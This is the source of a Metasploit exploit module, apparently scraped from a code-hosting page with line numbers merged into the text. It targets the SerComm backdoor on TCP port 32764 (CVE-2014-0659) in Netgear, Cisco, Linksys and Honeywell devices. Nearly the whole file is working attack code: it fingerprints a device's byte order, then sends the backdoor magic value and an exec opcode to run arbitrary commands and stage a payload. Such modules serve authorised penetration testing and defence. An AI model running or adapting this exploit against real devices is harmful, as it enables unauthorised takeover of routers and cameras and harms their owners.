Path: blob/master/modules/exploits/linux/misc/sercomm_exec.rb
24176 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => "SerComm Device Remote Code Execution",16'Description' => %q{17This module will cause remote code execution on several SerComm devices.18These devices typically include routers from NetGear and Linksys.19This module was tested successfully against several NetGear, Honeywell20and Cisco devices.21},22'License' => MSF_LICENSE,23'Author' => [24'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc25'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module26],27'Payload' => {28'Space' => 10000, # Could be more, but this should be good enough29'DisableNops' => true30},31'Platform' => 'linux',32'Privileged' => false,33'Targets' => [34[35'Generic Linux MIPS Big Endian',36{37'Arch' => ARCH_MIPSBE,38'PackFormat' => 'VVV'39}40],41[42'Generic Linux MIPS Little Endian',43{44'Arch' => ARCH_MIPSLE,45'PackFormat' => 'NNN'46}47],48[49'Manual Linux MIPS Big Endian',50{51'Arch' => ARCH_MIPSBE52}53],54[55'Manual Linux MIPS Little Endian',56{57'Arch' => ARCH_MIPSLE58}59],60[61'Cisco WAP4410N',62{63'Arch' => ARCH_MIPSBE,64'PackFormat' => 'NNN',65}66],67[68'Honeywell WAP-PL2 IP Camera',69{70'Arch' => ARCH_MIPSLE,71'PackFormat' => 'VVV'72}73],74[75'Netgear DG834',76{77'Arch' => ARCH_MIPSBE,78'PackFormat' => 'VVV',79'NoArgs' => true80}81],82[83'Netgear DG834G',84{85'Arch' => ARCH_MIPSLE,86'PackFormat' => 'VVV',87'PayloadEncode' => 'octal'88}89],90[91'Netgear DG834PN',92{93'Arch' => ARCH_MIPSBE,94'PackFormat' => 'VVV',95'NoArgs' => true96}97],98[99'Netgear DGN1000',100{101'Arch' => ARCH_MIPSBE,102'PackFormat' => 'VVV',103'NoArgs' => true104}105],106[107'Netgear DSG835',108{109'Arch' => ARCH_MIPSBE,110'PackFormat' => 'VVV',111'NoArgs' => true,112}113],114[115'Netgear WPNT834',116{117'Arch' => ARCH_MIPSBE,118'PackFormat' => 'NNN',119'UploadPath' => '/var',120'PayloadEncode' => 'octal'121}122]123],124'DefaultTarget' => 0,125'References' => [126[ 'CVE', '2014-0659' ],127[ 'OSVDB', '101653' ],128[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]129],130'DisclosureDate' => '2013-12-31',131'Notes' => {132'Reliability' => UNKNOWN_RELIABILITY,133'Stability' => UNKNOWN_STABILITY,134'SideEffects' => UNKNOWN_SIDE_EFFECTS135}136)137)138139register_options(140[141Opt::RPORT(32764)142]143)144145register_advanced_options(146[147OptEnum.new('PACKFORMAT', [false, "Pack Format to use", 'VVV', ['VVV', 'NNN']]),148OptString.new('UPLOADPATH', [false, "Remote path to land the payload", "/tmp" ]),149OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),150OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),151]152)153deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')154end155156def check157fprint = endian_fingerprint158159case fprint160when 'BE'161vprint_status("Detected Big Endian")162return Msf::Exploit::CheckCode::Appears163when 'LE'164vprint_status("Detected Little Endian")165return Msf::Exploit::CheckCode::Appears166end167168return Msf::Exploit::CheckCode::Safe169end170171def exploit172if target.name =~ /Manual/173print_warning("Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options")174@no_args = datastore['NOARGS']175@upload_path = datastore['UPLOADPATH']176@encoding_format = datastore['ENCODING']177@pack_format = datastore['PACKFORMAT']178else179@no_args = target['NoArgs']180@upload_path = target['UploadPath']181@encoding_format = target['PayloadEncode']182@pack_format = target['PackFormat']183end184185execute_cmdstager(186:noargs => @no_args,187:temp => @upload_path,188:enc_format => @encoding_format,189:flavor => :echo190)191end192193def endian_fingerprint194begin195connect196197sock.put(rand_text(5))198res = sock.get_once199200disconnect201202if res && res.start_with?("MMcS")203return 'BE'204elsif res && res.start_with?("ScMM")205return 'LE'206end207rescue Rex::ConnectionError => e208print_error("Connection failed: #{e.class}: #{e}")209end210211return nil212end213214def execute_command(cmd, opts)215# Get the length of the command, for the backdoor's command injection216cmd_length = cmd.length217218# 0x53634d4d => Backdoor code219# 0x07 => Exec command220# cmd_length => Length of command to execute, sent after communication struct221data = [0x53634d4d, 0x07, cmd_length].pack(@pack_format)222223connect224# Send command structure followed by command text225sock.put(data + cmd)226disconnect227228Rex.sleep(1)229end230end231232233